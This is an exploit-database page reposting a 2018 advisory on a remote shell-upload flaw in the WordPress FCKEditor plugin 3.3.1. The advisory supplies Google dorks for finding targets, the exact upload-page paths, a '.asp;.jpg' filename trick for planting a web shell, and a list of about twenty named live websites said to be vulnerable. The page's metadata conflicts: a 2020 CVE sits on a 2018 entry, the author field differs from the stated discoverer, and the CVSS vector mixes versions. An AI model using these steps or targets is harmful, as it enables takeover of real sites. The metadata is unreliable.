Exploitalert - Database of Exploits

WordPress FCKEditor-For-Wordpress-Plugin 3.3.1 Remote Shell Upload Vulnerability

CVE	Category	Price	Severity
CVE-2020-25213	CWE-264	Not specified	High

Author	Risk	Exploitation Type	Date
Jinson Varghese Behanan	High	Remote	2018-12-20

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2018120184

WordPress FCKEditor-For-Wordpress-Plugin 3.3.1 Remote Shell Upload Vulnerability

################################################################################################# # Exploit Title : WordPress FCKEditor-For-Wordpress-Plugin 3.3.1 Remote Shell Upload Vulnerability # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 20/12/2018 # Vendor Homepage : wordpress.org/support/plugin/fckeditor-for-wordpress-plugin # Software Download Link : github.com/kcloze/kcloze-blog/archive/master.zip + github.com/kcloze/kcloze-blog/tree/master/wp-content/plugins/fckeditor-for-wordpress-plugin # Tested On : Windows and Linux # Category : WebApps # Version Information : 2.0 ~ 2.2 ~ 2.6.2 ~ 2.8.4 ~ 3.3.1 # Exploit Risk : Medium # Google Dorks : inurl:''/wp-content/plugins/fckeditor-for-wordpress-plugin/'' + intext:''DESIGN BY PURR.'' + intext:''powered byWordPress. InBiz theme made it free by desain web. Hosting by rozhled.cz'' + intext:''Site entran par WordPress | Connexion | Flux (RSS) des articles | Thme Arthemia de Michael Jubel | Stats'' + intext:''designed by Portland Web Design'' + intext:'' 2009 websitemagix.com powered by fotomagix'' + intext:''powered by fotomagix'' + intext:''realizace webu: Pavel Gloss'' + intext:'' 2008 - 2018 Heather Richards Live | All Rights Reserved.'' + intext:''Powered by WordPress ( WordPress Deutschland ) - Handcoded by Tommaso Baldovino - German translation and modification by Schwarze Dame'' # Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ] + CWE-434: Unrestricted Upload of File with Dangerous Type # Visit Web Security Blog and Forum : cyberizm.org [ Team ] ~ ayarsecurity.com [ Friend ] ################################################################################################# # Exploit : /wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html /wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/test.html /wp-content/plugins/fckeditor-for-wordpress-plugin/fckeditor/editor/filemanager/browser/default/frmupload.html /wp-content/plugins/fckeditor-for-wordpress-plugin/fckeditor/editor/filemanager/browser/default/browser.html # Directory File Path : /wp-content/uploads/..... /wp-content/uploads/[YEAR]/[MONTH]/...... ################################################################################################# # Note : Select PHP extension and then Try to upload as .asp;.jpg filename shell extension. # Note : This plugin fckeditor-for-wordpress-plugin contains a very serious vulnerability that allowed hackers to gain full control modify, upload and execute files on any website running WordPress. With the plugin installed on a certain website, a hacker or malicious person can gain access to the web server via HTTP through a backdoor in the plugins directory. ################################################################################################# Vulnerable File Code => /uploadtest.html *************************************  <html> <head> <title>FCKeditor - Uploaders Tests</title> <script type="text/javascript"> function SendFile() { var sUploaderUrl = cmbUploaderUrl.value ; if ( sUploaderUrl.length == 0 ) sUploaderUrl = txtCustomUrl.value ; if ( sUploaderUrl.length == 0 ) { alert( 'Please provide your custom URL or select a default one' ) ; return ; } eURL.innerHTML = sUploaderUrl ; txtUrl.value = '' ; frmUpload.action = sUploaderUrl; if (document.getElementById('cmbType').value) { frmUpload.action = frmUpload.action + '?Type='+document.getElementById('cmbType').value; } frmUpload.submit() ; } function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg ) { switch ( errorNumber ) { case 0 :// No errors txtUrl.value = fileUrl ; alert( 'File uploaded with no errors' ) ; break ; case 1 :// Custom error alert( customMsg ) ; break ; case 10 :// Custom warning txtUrl.value = fileUrl ; alert( customMsg ) ; break ; case 201 : txtUrl.value = fileUrl ; alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ; break ; case 202 : alert( 'Invalid file' ) ; break ; case 203 : alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ; break ; default : alert( 'Error on file upload. Error number: ' + errorNumber ) ; break ; } } </script> </head> <body> <table cellSpacing="0" cellPadding="0" width="100%" border="0" height="100%"> <tr> <td> <table cellSpacing="0" cellPadding="0" width="100%" border="0"> <tr> <td nowrap> Select the "File Uploader" to use:<br> <select id="cmbUploaderUrl"> <option selected value="asp/upload.asp">ASP</option> <option value="aspx/upload.aspx">ASP.Net</option> <option value="cfm/upload.cfm">ColdFusion</option> <option value="lasso/upload.lasso">Lasso</option> <option value="perl/upload.cgi">Perl</option> <option value="php/upload.php">PHP</option> <option value="py/upload.py">Python</option> <option value="">(Custom)</option> </select> </td> <td> Resource Type<br /> <select id="cmbType" name="cmbType"> <option value="">None</option> <option value="File">File</option> <option value="Image">Image</option> <option value="Flash">Flash</option> <option value="Media">Media</option> <option value="Invalid">Invalid Type (for testing)</option> </select> </td> <td nowrap>      </td> <td width="100%"> Custom Uploader URL:<BR> <input id="txtCustomUrl" style="WIDTH: 100%; BACKGROUND-COLOR: #dcdcdc" disabled type="text"> </td> </tr> </table> <br> <table cellSpacing="0" cellPadding="0" width="100%" border="0"> <tr> <td noWrap> <form id="frmUpload" target="UploadWindow" enctype="multipart/form-data" action="" method="post"> Upload a new file:<br> <input type="file" name="NewFile"><br> <input type="button" value="Send it to the Server" onclick="SendFile();"> </form> </td> <td style="WIDTH: 16px">      </td> <td vAlign="top" width="100%"> Uploaded File URL:<br> <INPUT id="txtUrl" style="WIDTH: 100%" readonly type="text"> </td> </tr> </table> <br> Post URL: <span id="eURL"> </span> </td> </tr> <tr> <td height="100%"> <iframe name="UploadWindow" width="100%" height="100%" src="javascript:void(0)"></iframe> </td> </tr> </table> </body> </html> ################################################################################################# # Example Vulnerable Sites => [+] steamykitchen.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] n-vac.co.jp/tool/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] senftenberg.cz/wordpress/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] ville-rochefortdugard.fr/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] jalak.eu/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] carolwhitemarketing.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] etkingrup.com.tr/haber/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] zohnertheater.ch/amberroad/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] gialongvn.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] websitemagix.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] taiyaki-ya.com/wp/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] locthanhphat.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] zko157.cz/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] duolongo.se/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] sof.vn/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] heatherrichardslive.com/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] textmah.com/sites/zane/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] nongngucolam.vn/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] drogy-sos.sk/photoland/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] kukk.de/affiliateblog/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html [+] nttprov.go.id/penghubung/web/wp-content/plugins/fckeditor-for-wordpress-plugin/filemanager/connectors/uploadtest.html ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################

Impressum